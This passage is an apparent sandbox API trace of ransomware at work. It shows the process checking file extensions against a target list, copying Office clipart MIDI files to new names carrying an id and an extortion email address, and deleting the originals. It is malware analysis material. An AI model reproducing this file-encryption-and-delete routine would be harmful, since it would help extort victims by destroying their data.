(lpString=".doc") returned 4 [0271.877] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.877] lstrlenW (lpString=".docx") returned 5 [0271.877] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0271.877] lstrlenW (lpString=".pdf") returned 4 [0271.878] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.878] lstrlenW (lpString=".xls") returned 4 [0271.878] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.878] lstrlenW (lpString=".xlsx") returned 5 [0271.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0271.878] lstrlenW (lpString=".ppt") returned 4 [0271.878] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.878] lstrlenW (lpString=".zip") returned 4 [0271.878] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.878] lstrlenW (lpString=".rar") returned 4 [0271.878] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.878] lstrlenW (lpString=".bz2") returned 4 [0271.878] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.878] lstrlenW (lpString=".7z") returned 3 [0271.878] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.878] lstrlenW (lpString=".dbf") returned 4 [0271.878] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.878] lstrlenW (lpString=".1cd") returned 4 [0271.878] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.878] lstrlenW (lpString=".jpg") returned 4 [0271.878] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.878] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.879] lstrlenW (lpString="ROAD_01.MID") returned 11 [0271.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.883] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=5983) returned 1 [0271.883] CloseHandle (hObject=0x2f8) returned 1 [0271.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0271.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.884] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.884] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.884] GetLastError () returned 0x0 [0271.884] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x175f, lpOverlapped=0x0) returned 1 [0271.885] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0271.886] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.886] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0271.886] SetEndOfFile (hFile=0x304) returned 1 [0271.886] CloseHandle (hObject=0x304) returned 1 [0271.886] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.886] SetEndOfFile (hFile=0x2f8) returned 1 [0272.124] CloseHandle (hObject=0x2f8) returned 1 [0272.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0272.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.158] lstrlenW (lpString=".doc") returned 4 [0272.158] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.158] lstrlenW (lpString=".docx") returned 5 [0272.158] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.158] lstrlenW (lpString=".pdf") returned 4 [0272.158] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.158] lstrlenW (lpString=".xls") returned 4 [0272.158] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.158] lstrlenW (lpString=".xlsx") returned 5 [0272.158] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.158] lstrlenW (lpString=".ppt") returned 4 [0272.158] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.158] lstrlenW (lpString=".zip") returned 4 [0272.158] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.158] lstrlenW (lpString=".rar") returned 4 [0272.158] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.158] lstrlenW (lpString=".bz2") returned 4 [0272.158] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.158] lstrlenW (lpString=".7z") returned 3 [0272.159] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString=".dbf") returned 4 [0272.159] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString=".1cd") returned 4 [0272.159] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString=".jpg") returned 4 [0272.159] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString=".doc") returned 4 [0272.159] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.159] lstrlenW (lpString=".docx") returned 5 [0272.159] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.159] lstrlenW (lpString=".pdf") returned 4 [0272.159] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.159] lstrlenW (lpString=".xls") returned 4 [0272.159] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.159] lstrlenW (lpString=".xlsx") returned 5 [0272.159] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.159] lstrlenW (lpString=".ppt") returned 4 [0272.159] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.159] lstrlenW (lpString=".zip") returned 4 [0272.159] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.160] lstrlenW (lpString=".rar") returned 4 [0272.160] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.160] lstrlenW (lpString=".bz2") returned 4 [0272.160] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.160] lstrlenW (lpString=".7z") returned 3 [0272.160] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.160] lstrlenW (lpString=".dbf") returned 4 [0272.160] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.160] lstrlenW (lpString=".1cd") returned 4 [0272.160] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0272.160] lstrlenW (lpString=".jpg") returned 4 [0272.160] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.160] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.161] lstrlenW (lpString="SWEST_01.MID") returned 12 [0272.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.161] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=8501) returned 1 [0272.161] CloseHandle (hObject=0x388) returned 1 [0272.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0272.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.161] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.161] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.162] GetLastError () returned 0x0 [0272.162] ReadFile (in: hFile=0x388, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x2135, lpOverlapped=0x0) returned 1 [0272.163] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0272.164] ReadFile (in: hFile=0x388, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.164] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.164] SetEndOfFile (hFile=0x384) returned 1 [0272.164] CloseHandle (hObject=0x384) returned 1 [0272.164] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.164] SetEndOfFile (hFile=0x388) returned 1 [0272.167] CloseHandle (hObject=0x388) returned 1 [0272.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0272.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.167] lstrlenW (lpString=".doc") returned 4 [0272.167] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.167] lstrlenW (lpString=".docx") returned 5 [0272.167] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.167] lstrlenW (lpString=".pdf") returned 4 [0272.167] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.168] lstrlenW (lpString=".xls") returned 4 [0272.168] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.168] lstrlenW (lpString=".xlsx") returned 5 [0272.168] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.168] lstrlenW (lpString=".ppt") returned 4 [0272.168] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString=".zip") returned 4 [0272.168] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.168] lstrlenW (lpString=".rar") returned 4 [0272.168] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.168] lstrlenW (lpString=".bz2") returned 4 [0272.168] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.168] lstrlenW (lpString=".7z") returned 3 [0272.168] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString=".dbf") returned 4 [0272.168] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString=".1cd") returned 4 [0272.168] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString=".jpg") returned 4 [0272.168] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.168] lstrlenW (lpString=".doc") returned 4 [0272.168] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.168] lstrlenW (lpString=".docx") returned 5 [0272.168] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.168] lstrlenW (lpString=".pdf") returned 4 [0272.168] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.169] lstrlenW (lpString=".xls") returned 4 [0272.169] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.169] lstrlenW (lpString=".xlsx") returned 5 [0272.169] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.169] lstrlenW (lpString=".ppt") returned 4 [0272.169] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.169] lstrlenW (lpString=".zip") returned 4 [0272.169] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.169] lstrlenW (lpString=".rar") returned 4 [0272.169] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.169] lstrlenW (lpString=".bz2") returned 4 [0272.169] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.169] lstrlenW (lpString=".7z") returned 3 [0272.169] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.169] lstrlenW (lpString=".dbf") returned 4 [0272.169] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.169] lstrlenW (lpString=".1cd") returned 4 [0272.169] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0272.169] lstrlenW (lpString=".jpg") returned 4 [0272.169] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.169] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.170] lstrlenW (lpString="URBAN_01.MID") returned 12 [0272.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.170] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=13358) returned 1 [0272.170] CloseHandle (hObject=0x388) returned 1 [0272.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0272.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.171] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.171] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.171] GetLastError () returned 0x0 [0272.171] ReadFile (in: hFile=0x388, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x342e, lpOverlapped=0x0) returned 1 [0272.173] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x3430, lpOverlapped=0x0) returned 1 [0272.174] ReadFile (in: hFile=0x388, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.174] WriteFile (in: hFile=0x384, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.174] SetEndOfFile (hFile=0x384) returned 1 [0272.174] CloseHandle (hObject=0x384) returned 1 [0272.174] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.174] SetEndOfFile (hFile=0x388) returned 1 [0272.177] CloseHandle (hObject=0x388) returned 1 [0272.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0272.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.180] lstrlenW (lpString=".doc") returned 4 [0272.180] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.180] lstrlenW (lpString=".docx") returned 5 [0272.180] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.180] lstrlenW (lpString=".pdf") returned 4 [0272.180] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.180] lstrlenW (lpString=".xls") returned 4 [0272.180] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.180] lstrlenW (lpString=".xlsx") returned 5 [0272.180] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.180] lstrlenW (lpString=".ppt") returned 4 [0272.180] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.180] lstrlenW (lpString=".zip") returned 4 [0272.180] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.180] lstrlenW (lpString=".rar") returned 4 [0272.180] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.180] lstrlenW (lpString=".bz2") returned 4 [0272.181] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.181] lstrlenW (lpString=".7z") returned 3 [0272.181] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.181] lstrlenW (lpString=".dbf") returned 4 [0272.181] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.181] lstrlenW (lpString=".1cd") returned 4 [0272.181] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.181] lstrlenW (lpString=".jpg") returned 4 [0272.181] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.181] lstrlenW (lpString=".doc") returned 4 [0272.181] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.181] lstrlenW (lpString=".docx") returned 5 [0272.181] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.181] lstrlenW (lpString=".pdf") returned 4 [0272.181] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.181] lstrlenW (lpString=".xls") returned 4 [0272.182] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.182] lstrlenW (lpString=".xlsx") returned 5 [0272.182] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.182] lstrlenW (lpString=".ppt") returned 4 [0272.182] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.182] lstrlenW (lpString=".zip") returned 4 [0272.182] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.182] lstrlenW (lpString=".rar") returned 